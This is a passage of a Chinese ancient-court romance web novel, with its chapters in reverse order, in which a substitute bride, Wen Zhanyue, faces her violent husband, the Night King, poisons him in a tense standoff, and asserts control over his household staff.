“放着吧。”容妄眼神微沉。 表面不动声色,心中却已掀起惊涛骇浪。 昨晚的三箭是他故意留情,眼前人能波澜不惊并不奇怪,可刚才扔出去的笔,他是奔着要她命去的。 她不但能轻松躲过去,甚至还颇为不在意。 温斩月似乎没有听到容妄的话,她拎着食盒一动不动。 “臣妾还没用膳呢,王爷要不要一起?” 容妄想拒绝,可他抬眸看到一张言笑晏晏的脸,拒绝的话突然就堵在了喉头,一个字也蹦跶不出来。 算了。 片刻,容妄说服自己。 一起吃就一起吃,他正好探探这女人的深浅。 书房里有个小隔间,平时容妄忙起来便在小隔间里吃住。 温斩月拎着食盒走过去,掀开盖子,把里面饭菜拿出来,一一都摆在小隔间的饭桌上。 容妄看着面前丰盛的菜,眼底的狐疑更甚。 昨晚自己刚射伤她,她居然不计前嫌来和自己一起用膳。 到底是大度能忍,还是别有所图? 若是前者…… 倒显得他斤斤计较了。 “臣妾初来乍到,不知王爷喜好,只能吩咐厨房按照平日里的吃食做一些,王爷快试试,看看合不合胃口?” “不合胃口的厨子,早就叫本王斩了。”容妄夹起一筷子菜,吃了起来。 温斩月笑着,盛了碗汤,递过来。 “那王爷尝尝汤?” “有什么不一样。”容妄冷笑,端起来小酌一口。 汤色清甜,十分可口,但细品之下,却能感觉到汤底透着一股淡淡的异味。 容妄色变,猛地扔掉汤碗,想要把喝进去的汤汁全都吐出来。 可任凭他使劲手段,那汤就是吐不出来。 容妄心中一紧。 他倏地抬眸,不由分说的掐上温斩月的喉咙。 “这汤里有什么?” “王爷好舌头。”哪怕被掐,温斩月竟也半点不慌。 “三日欢这样隐秘的毒,王爷居然都能尝的出来。” “你敢给本王下毒?”容妄不可置信。 他收紧五指,一双墨瞳里藏着星星点点的怒火,心中恨不得将眼前人一点点捏碎,然后当成花肥,用来滋养他最爱的梨树海棠。 “咳咳……”温斩月被掐得脸色通红,她艰难道:“此毒难解,杀了臣妾,王爷也要赔臣妾一起死了哦。” “解药。”理智回笼,容妄松开些许力度。 “现在交出解药,本王会考虑考虑,给你一个体面的死法。” “这世上还有什么死法会比跟王爷一起死更体面呢?”温斩月勾唇,神色清冷,“能与王爷一起死,是臣妾的福分,说不定多年后,也能传出王妃暴毙,王爷伤心过度,选择殉情这种佳话呢。” “你真是不见棺材不落泪!”容妄说着,五指再度收紧。 空气在一瞬间被抽走,温斩月胸腔憋闷窒息。 容妄厉声道:“给本王下毒,你就不怕本王一怒之下,率兵屠了温州城么?” “王爷尽管去……”温斩月笑容癫狂,“臣妾但凡皱下眉头,都算王爷你赢了。” 不得不说,温斩月这种死猪不怕开水烫的样子的确拿捏了容妄,他的防线再三摧毁后,再一次坍塌重建。 “你接近本王,到底意欲何为?”容妄猩红着眼。 看得出来,他怒不可遏。 若不是有体内有毒药牵制,他这会儿早就扭断这女人的脖子了。 小命都握在旁人的手里,温斩月却一点都不慌,只是慢慢地,一点点掰开男人钳制自己的手。 “臣妾的确有所图。”温斩月一字一句道:“自始至终,臣妾图谋的,不过王爷一人而已。” …… 温斩月走出书房,抬手摸向脖颈处。 容妄掐她时没收力。 此时伤口崩开,血色顺着纱布渗透出来。 可她的脸上并无半点痛意,反而唇角翘起,隐隐在笑。 “走吧。”温斩月冲着春夜吩咐,“去账房瞧瞧,看看展嬷嬷为本宫准备了怎样丰厚的大礼。” 大清早便送来库房钥匙和印信,温斩月知晓,等着她的怕是一笔糊涂烂账。 来到账房,温斩月命人把王府近十年的账本都拿出来。 春夜亲自去找地,仔仔细细抬来了两大摞,垒起来足足有三人高。 “王妃,这些……都要看吗?” “不看。”温斩月摇摇头,“都搬到院子里去。” “王妃这是要晒账本吗?”春夜歪着脑袋解释道:“王府的账本每半年就要晒一次,上个月,这些账本刚拿出来晒过,不会腐败损坏的。” “刚晒过吗?”温斩月眼底笑意更浓,“那更方便了。” 不顾春夜的疑惑,温斩月命人把账本扔到院子里,她直接从袖子里掏出一个火折子,毫不迟疑的一把火点了院中所有的账本。 刚晒过的账本十分干燥易燃,轻易就被点着。 “王妃这是做什么啊?”春夜急了,恨不能冲进火里去把账本带出来。 可火实在是太大了。 她根本靠近不了半点。 这些账本刚被晒过,纸张干黄,烧起来根本不费一点功夫,转眼之间,垒成三人高的账本便烧成了一地灰烬。 “王妃,这……”春夜看着满地的纸灰,手足无措。 温斩月却只是拍拍她的肩,“叫人来打扫干净,免得王爷瞧见了心烦。” “可……”春夜正欲再说些什么,眼前的人却早就离开。 春夜心中郁闷。 王府里有那么多丫鬟,却偏偏挑了她进锦绣阁。 本以为是个不可多得的肥差,没想到,竟是如此一桩苦逼的差事。 都说她家王爷残暴不堪,很难伺候。 但依她看来,王妃才是真的行事乖张,手段残忍。 想起早上夜枭的故事,春夜就忍不住打了个寒颤,看来她得抓紧时间走走关系,把她从王妃身边调出去。 该去求求谁呢? 对,展嬷嬷。 春夜心中若有所动。 这些年她攒了不少的积蓄,从中拿出一些去做孝敬,嬷嬷应当不会拒绝。 …… 书房里,温斩月刚走,容妄就掀翻了整个桌子。 他戎马半生,居然会被一个女子算计。 听到声响的青澜急忙上前,刚走到门口,便被容妄呵斥住,“去找卢太医!就说本王突发急症,要他速来!” “属下这就去。” 青澜不敢耽搁,不一会儿的功夫便拽着一名老者进了书房。 “慢点慢点,我的老腰唉!”卢太医一脸的不情愿。 他今日休沐,正想着翻阅医书,把上次没研究完的九命续阳丹给研究了,结果青澜这臭小子闯进他家,不由分说的就把他拽来。 “王爷这不是好好的吗?”卢太医放下药箱,白了一眼头顶冒汗的青澜。 “你这臭小子,竟然敢撒谎。” “他没有。”容妄摆摆手,示意青澜离开。 许是容妄太严肃,卢太医也不敢开玩笑,急忙走过来,“王爷哪里不舒服?” “本王被人下了毒。”容妄开门见山,伸出手。 “你给看看,这毒要不要紧?” “谁这么大的胆子敢给王爷您下毒?”卢太医心中诧异,说话间,他的指尖已经搭上了容妄的脉搏。 脉搏时急时缓,没有半点规律可循。 “不妙啊。”半晌后,卢太医神色凝重。 “这毒微臣也不曾见过啊。” “还真有毒?”容妄眼中闪过一抹杀意。 他的确是带着一丝侥幸。 以为那女人只是玩弄于他,不曾想,竟真的给他下毒。 瞧卢太医的脸色,这毒,似乎一点儿不弱呢。 “能解吗?”容妄沉声。 “能。”卢太医点头,“但需要毒药的配方。” “若没有呢?” “那恕微臣,学艺不精。” 放眼整个京都城,卢太医的医术自然是最最精湛的,若连他都解不了,那这毒,当真是没有办法了。 “好,好,好!”容妄一口气说了三个好字。 第2章 没有一盏省油的灯 温斩月端坐榻上,没了发簪的束缚,如墨一般的青丝倾泻而下。 衬得她明眸皓齿,艳丽张扬。 那张倾国倾城的脸上,什么表情都有,却唯独没有半点慌张。 她平静的目光落在身穿喜服的男人身上。 自上而下,细细打量。 宽肩窄腰,英姿勃发,一头如雪的白发被金冠束起。 看不清表情的脸上戴着一副琉璃面具,面具上面雕刻着精致的银狐纹样。 在面具的遮挡下,只能看到线条分明的下颌和一双薄唇。 少年白头,面容可怖。 这便是传说中残忍暴戾的夜王。 也是她温斩月的夫君。 容妄。 似乎是对于有人这么直勾勾地盯着自己觉得十分冒犯,容妄再次从侍卫手里抽出一支箭,搭弓。 “这一箭,本王可不会再射偏了。” “早就听闻王爷百步穿杨,射艺了得。”温斩月起身,“若是杀了我,能熄王爷心头怒火,臣妾甘愿赴死。” “哼!花言巧语。”容妄冷嗤。 温斩月却不惧容妄手中的箭,一步、一步,上前。 “温宁霜逃婚,是温家食言在先,王爷要把气撒在臣妾身上,臣妾不怪您。” “停下!”容妄呵斥。 温斩月似是没听到,往前又走了一步。 这一步像是在挑战容妄的尊严,他当即松手,利箭嗖的一下射在温斩月面前,拦住温斩月的去路。 “再往前,本王真的会杀了你。” “臣妾想赌一把。”温斩月跨过利箭,继续朝前。 “臣妾若是输了,区区一具尸体而已,王爷不必归还温州,一把火烧了便是,但倘若臣妾赢……” 话还未说完,一支利箭便擦着温斩月纤细白嫩的脖颈,稳稳地扎在床架上。 温斩月抬手,指尖摸过温热的血痕处。 “本王生平最厌恶的,便是你这种自作聪明的人。”容妄收起弓,呼吸有些许错乱。 “往后你我虽有夫妻之名,却永远不会有夫妻之实,你若是能安分守己,恪守王妃本分,本王亦可保你今后衣食无忧,但若是……” “若是你敢生了别的心思,本王定会诛你。”说完,容妄转身,头也不回地离开。 锦绣阁内,重归宁静。 丫鬟春夜慌忙从外面跑进来,抬眼便看到自家王妃脖颈上的伤口,她急忙翻箱倒柜地去找药。 可等她找到药瓶时,却愣怔在原地。 王妃她,竟然摸着伤口在笑。 …… “你们听说了吗?昨晚王爷大发雷霆,差点射杀王妃!” “什么王妃,我看就是温州送来的替死鬼!” “是啊,谁不知道咱们王爷残忍暴戾,温家大小姐光明正大的逃婚,明晃晃地落了王爷面子,王爷肯定咽不下这口气,以后王妃可有的苦吃了。” “昨晚我还以为王爷会直接将王妃拆了骨,扒了皮去喂狗呢,谁曾想,只是射伤了而已。” 锦绣阁外,大清早便有丫鬟婆子在议论纷纷。 展嬷嬷率着众人刚一到访,便听到这些闲言碎语,钻进耳朵里。 “主子们的事情也是你们能议论的?”展嬷嬷发了火,“全部都去刑事房领十大板,另外,扣半月月银,以儆效尤。” “奴婢谨遵展嬷嬷教诲。”众人瞬间散开。 在温斩月之前,容妄不曾娶妻,更不曾纳妾,王府的吃穿用度,支出收益,全都是由展嬷嬷一人操劳。 而她本人又是容妄的奶娘,在王府里,身份只低于容妄这个王爷。 推开锦绣阁的门,展嬷嬷率先迈步进去。 温斩月已经醒来。 此时正坐在梳妆台前,让春夜帮她上妆。 她的脖颈上缠了一圈白色纱布,上面隐隐还能看出丝丝血迹。 “参见王妃。”展嬷嬷上前。 虽是行礼,膝盖却没有弯下半点。 温斩月抬起眼皮,目光上下打量。 她一句话都没说,甚至嘴角还带着些许温和的笑意。 可展嬷嬷却没来由地后背一僵,不由得弯下腰去。 “老奴是来交王妃印信和库房钥匙的。”展嬷嬷从身后丫鬟的手里接过一个檀香木盒,交给春夜,“以前王爷没娶妻,王府内务便是由老奴操持,如今王府有了新的女主人,老奴终于可以清闲些了。” “辛苦你了。”温斩月打开锦盒,拿起王妃印信把玩。 “嬷嬷想过清闲日子,可本宫初来乍到,许多事务还不太清楚,怕是需要嬷嬷教导几日,等本宫完全上手,到时再放嬷嬷清闲,可好?” “这怕是不行。”展嬷嬷急忙摆手。 “老奴上了年纪,早就无心这些事,前不久又生了场病,还请王妃体恤。” 这话任谁都能听出来,是句敷衍至极的托词。 温斩月自然也能听出言外之意。 她表情微怔,薄唇紧抿。 一大清早,兴师动众前来送她印信是真。 但想给她一个下马威,也是真。 这夜王府果真是个好地方,自上而下,没有一盏省油的灯。 “既如此,那嬷嬷便好好修养身体吧。”温斩月把印信和钥匙都放回去,让春夜好生收了起来。 展嬷嬷点头,没在锦绣阁逗留。 人走了后,春夜才堪堪开口,“王妃切莫和展嬷嬷一般见识,她仗着自己是王爷的奶娘,握着王府中馈已久,如今王妃一来,她便再也没有了理由留着中馈,自然不会给王妃好脸色看。” “主子的架子摆久了,便会忘了自己是奴才。”温斩月垂眸。 春夜附和道:“王妃不必忧心,如今有了印信和钥匙,以后王府上下还不是王妃说了算。” “是吗?”温斩月起身,侧目。 她行至春夜边上,抬手捏着春夜的下巴。 “本宫跟你讲个故事吧。” 不等春夜回应,温斩月自顾自地道:“本宫以前曾养过一只夜枭,它聪明通透,很识人性,每次替本宫狩猎,都满载而归。久而久之,它便以为自己在本宫心中无可替代,直到有一天,它唐突了本宫的友人,你猜,它是什么下场?” “奴婢,奴婢不知……”春夜浑身打着颤地发抖。 温斩月松开春夜。 她明媚浅笑,无辜纯良,恶魔般的语调在春夜耳边轻轻响起。 “本宫当晚便喝到了这只夜枭炖的肉汤。” “味道浓郁醇厚,十分香甜可口。” 第1章 冷箭掀盖头 温州城外,锣鼓喧天,城门前站着乌泱泱的两批人。 一批身穿红衣,敲喜鼓,抬花轿,准备迎亲。 另一批披戴丧服,吹唢呐,抬棺材,等着送葬。 这两批人,全都来自京都夜王府。 五年前,温州横遭流匪袭击,四处求告无门,温州城主只好拿掌上千金与传说中杀人不眨眼的夜王做交易,希望夜王可以庇佑温州百姓。 只要温州度过此难,便把千金嫁与夜王。 夜王应允,出兵剿杀流匪。 但却嫌温家小姐年幼,承诺五年后再来娶亲。 就在三日前,夜王府派来迎亲队伍,聘礼装了整整七十二箱。 真金白银,玉器珠宝。 绫罗绸缎,数不胜数。 但……迎亲当日,原本要嫁给夜王的大小姐温宁霜却逃婚了。 新娘不见了的消息,飞快的传到了夜王耳朵里。 隔日,王府便派来送葬队伍。 并放出狠话,若是三日后没有新娘,他便率兵屠城。 此时此刻,温家前院。 温城主一夜白头,温夫人哭晕在床。 “这可怎么办?夜王凶残暴戾,他说屠城绝不是玩笑!” “都怪大姐,说走就走,却把我们逼上死路!真没见过这么自私的人!”小公子温如玉沉声指责道。 “话也不能这么说。”三小姐温落星小声辩解:“听闻夜王丑的令人发指,为人又那么残暴,我要是大姐姐,我也不愿嫁他。” “都什么时候了,你还在为她开脱?”温如玉气得脸红。 “行了,都少说两句!”温城主呵斥道:“有这吵嘴的功夫还不如好好想想,到底去哪里找一个新娘赔给夜王。” “父亲冲我们发什么火,又不是我们的错。”温如玉嘴犟道:“依我看,三姐姐长得花容月貌,不如就让她……” “你胡说什么?”温落星不敢置信,“我还未及笄!” “那又如何?你先嫁过去养几年。”温如玉红着脸,梗着脖子道:“牺牲你一个,能救我们整座城,很划算的。” “这么划算你怎么不去嫁?”温落星讥讽。 温如玉回怼:“我又不是女的。” “这可说不准,万一夜王就好男色呢?”温落星穷追不舍。 ——啪! 温城主站起来,怒拍桌子。 “都说够了没有?”他指着噤声的小女儿,“如玉是你的亲弟弟,也是我们温家唯一的儿郎,你把他嫁给夜王是要毁了我们温家的根基吗?” “就是。“温如玉附和。 “就是什么就是!”温城主朝着温如玉踹了一脚。 “一天天的就知道招猫逗狗,你要是有夜王半分能耐,为父何至于卖女求荣!” “这怎么还能怪到我的头上来,五年前,我才八岁!”温如玉莫名被踹,心里委屈得要死。 温城主头疼得要命,颓然地坐下。 早知今日会是这样的结果,当初……当初就该留下那个孩子。 “城主,门外有人求见。”管事匆匆忙忙地跑来。 “不见!”温城主摆手,“天都要塌了,哪有心思见客!” “可她穿着红嫁衣……” “什么?”温城主抬眸。 片刻,他急忙朝着外面跑去,其他人见状,连连跟上。 朱红掉漆的木门被人缓缓推开,温斩月身披嫁衣,头顶凤冠,目光清冷的盯着面前的一众人。 “你是……”温城主声音颤抖。 “温城主。”温斩月冷声轻唤,她冷冰冰的目光扫过在场每一个人。 “我今日来,是替温宁霜嫁给夜王的。” 她不紧不慢的语调却像是一个耳光,劈头盖脸的砸向温城主。 “当初您与温夫人将我狠心抛弃,按理说,我早与在座的各位一刀两断,不过……”温斩月顿了顿,接着道:“你们不仁,我却不能不义。” “今日我替温宁霜上花轿,挡下温州城的灾祸,不求你们念着我的好,只希望从此两清,天涯陌路。” 话音刚落,温斩月跪下,朝着温城主三叩首。 “她可是二姐姐?”温落星小声开口。 “管她是不是呢。”温如玉放下心来,“只要她肯嫁给夜王,温州城就算是保住了。” 三叩首结束,温斩月起身,头也不回地就要离开。 温城主见状,急忙就要追上去。 只是他刚迈上台阶,一把匕首破风而来,正好扎在他的脚边。 坚硬的石阶,顿时四分五裂。 “温城主留步吧,不必相送。” 话音随风来,佳人已走远。 温城主弯下腰,想要拔出匕首,没想到匕首扎得太深。他使出浑身力气,一不小心用力过猛,从台阶上滚落下去。 “父亲!”温落星和温如玉惊呼。 温城主坐在地上,拿起匕首,指尖摸索着上面的斩月二字,再也忍不住,痛哭出声。 …… 京都,夜王府。 红绸喜灯挂满长长的走廊,府里的每一处都贴着方正得体的喜字。 如此喜庆的布置,却无一人来贺喜。 温斩月被送进王府,连拜堂都不曾,便直接送到了锦绣阁。 丫鬟婆子来来往往,时不时地低语几句。 温斩月听力本就不错,再加上这些人说话也不曾避着她,闲言碎语就这样钻进她的耳朵里,惹得她秀眉紧蹙。 刚要发作,忽然耳边传来丫鬟们惊慌失措的声音。 “奴婢参见王爷……” “滚下去。”阴郁的声音像是淬了毒。 半晌,温斩月听到吱呀一声,房门被人推开。 她双手交叠,规规矩矩地等着人来掀盖头。 但温斩月不知道,此时此刻,一身喜服的男人手里正握着一把冷月弓,弓上搭着最最锋利的箭。 刚刚好瞄准,坐在床榻之上的她。 好看修长的手指紧捏着弦,只要轻轻一松。 这支利箭就会破风而出。 “王爷?”温斩月疑惑开口。 她刚要抬手,忽听到一阵劲风夹杂着破晓朝着她逼来。 温斩月下意识双手握紧。 一支带着响羽的利箭划破长空,射穿了她的发髻。 片刻,盖头,凤冠,发钗全都散落一地。 叮铃哐啷地,悦耳又动听。